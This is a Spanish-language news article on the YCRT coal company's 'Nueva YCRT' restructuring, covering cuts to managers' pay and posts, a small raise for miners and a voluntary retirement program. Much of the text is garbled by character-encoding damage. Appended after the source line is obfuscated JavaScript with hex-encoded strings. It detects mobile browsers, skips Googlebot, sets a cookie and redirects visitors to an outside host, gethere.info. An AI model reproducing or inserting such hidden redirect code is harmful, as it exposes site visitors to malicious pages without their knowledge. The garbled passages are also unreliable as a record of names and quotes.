En medio del conflicto YCRT anuncia reformas y aumento de $1.500 para los mineros

En medio de la puja por los puestos de trabajo de los trabajadores despedidos, la empresa estatal anunciA? el lanzamiento de la ‘Nueva YCRT’ basada en consignas de sustentabilidad y transparencia, ademA?s de una reestructuraciA?n jerA?rquica y salarial, con aumento salarial para los mineros.
YCRT lanzA? la nueva YCRT. AsAi?? como lees, la intervenciA?n de la empresa estatal de energAi??a busca reinventarse en el medio de una crisis que tiene en la incertidumbre a los mA?s de 500 despedidos que allAi?? desempeAi??aban sus funciones quienes esperan pronunciaciones al respecto desde la dirigencia polAi??tica y empresarial sobre su situaciA?n.

Pero, desviando el foco de discusiA?n, desde la dirigencia de la empresa minera anunciA? su reinvenciA?n, lo que desde la cA?pula manifestaron como “un plan diseAi??ado para poner nuevamente en marcha la empresa, lograr la sustentabilidad y garantizar el futuro de las comunidades para las nuevas generaciones.”

Desde la intervenciA?n de YCRT expusieron la nueva estructura administrativa que tendrA? la empresa, incluyendo cambios en la orgA?nica y la estructura salarial y laboral.

En el documento que se dio a conocer, se estableciA? como punto de partida y objetivo central ai???hacer lo necesario para que YCRT perdure en el tiempo y continA?e siendo el sostAi??n de las dos comunidadesai??? ai??i?? refiriAi??ndose a RAi??o Turbio y Veintiocho de Noviembre.

SegA?n destacA? Omar Zeidan “la empresa ya estA? en condiciones de comenzar a producir carbA?n, despuAi??s de aAi??os de trabajo duro, recuperando la Red Troncal de VentilaciA?n y ordenando las distintas A?reas. Por eso, era necesario realizar adecuaciones a la orgA?nica de la compaAi??Ai??a para que la misma represente la orgA?nica de una empresa minera que pueda ser sustentable y operativa produciendo y generando energAi??a.”

Con el objetivo de dejar de ser una empresa subsidiada puesta en la mira, se planteA? una reducciA?n de costos, donde se encontraron sorpresas en el nuevo esquema salarial. Los salarios de los jefes, supervisores, especialistas y administrativos bajarA?n hasta el 50% en algunos rubros, considerados de privilegio. Por el otro lado, segA?n la consigna de cuidar su trabajo riesgoso, la remuneraciA?n para los mineros subirA? de 47.000 pesos promedio a 48.500.

En paralelo a esto, la estructura jerA?rquica de la planta sufrirA? modificaciones importantes. HabrA? una reorganizaciA?n de jefaturas segA?n la cual se reducirA?n los jefes de 293 a 61, y los supervisores de 230 a 68, mientras que se aumentarA?n la cantidad de especialistas, operarios y administrativos. Esto supondrA? algunas des-jerarquizaciones entre los empleados al interior de la empresa.

El nuevo diseAi??o de empresa, una Nueva YCRT, satisface, a modo de punto intermedio, las exigencias de todos los actores. Priorizando el empleo y a nuestros mineros pero readecuando los salarios a una estructura mA?s equitativa y similar a la de cualquier empresa del rubro.

Por un lado, se realizA? una readecuaciA?n jerA?rquica y salarial que supone una disminuciA?n en los gastos y vuelve a YCRT una empresa sustentable. Por el otro, privilegia el salario de nuestros mineros.

Los 3 ejes de la nueva YCRT son sustentabilidad, trasparencia y cuidado de nuestros mineros. Con estos principios en la mira, todos debemos hacer un esfuerzo ya no hay lugar para salarios de privilegio ni para la corrupciA?n.

“La misiA?n de YCRT es la misma de siempre: generar energAi??a para la argentina a travAi??s del carbon santacruceAi??o”, remarcA? Zeidan, quien se mostrA? muy conforme con la nueva orgA?nica que dijo servirA? para poner en marcha definitivamente a la empresa.

“Para poder cumplir con nuestra misiA?n, se necesita ser una empresa ordenada, con todos los trabajadores comprometidos y dispuestos a producir carbA?n para generar energAi??a, la energAi??a que argentina necesita para crecer”, indico el Interventor.

Zeidan remarcA? que en esta nueva estructura todos realizaran un gran esfuerzo para lograr que lo mejor para YCRT. AdemA?s remarcA? que se llevarA?n los salarios a niveles equivalentes a los que pueden encontrarse en otras empresas del rubro o entidades estatales.

Levantando una bandera de transparencia, se afirmA? que los detalles de la nueva estructura salarial y jerA?rquica se publicarA?n para que todos los empleados y miembros de las 2 comunidades de la cuenca sepan de antemano cA?mo va a empezar a trabajar la mina.

Por A?ltimo, la presentaciA?n cerrA? con un recordatorio de la vigencia del programa de retiros voluntarios, prolongado hasta el 31 de Marzo, para aquellos empleados que no estAi??n satisfechos con la nueva estructura de la empresa. Entre los beneficios del programa, se enumeraron 1 mes de salario por cada aAi??o de antigA?edad, bonificaciA?n anual extraordinaria para los aAi??os 2014, 2015 y 2016, doce meses de salarios y la posibilidad de reinserciA?n en el mercado laboral de las represas.

(Fuente: El Diario Nuevo Dia.)var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}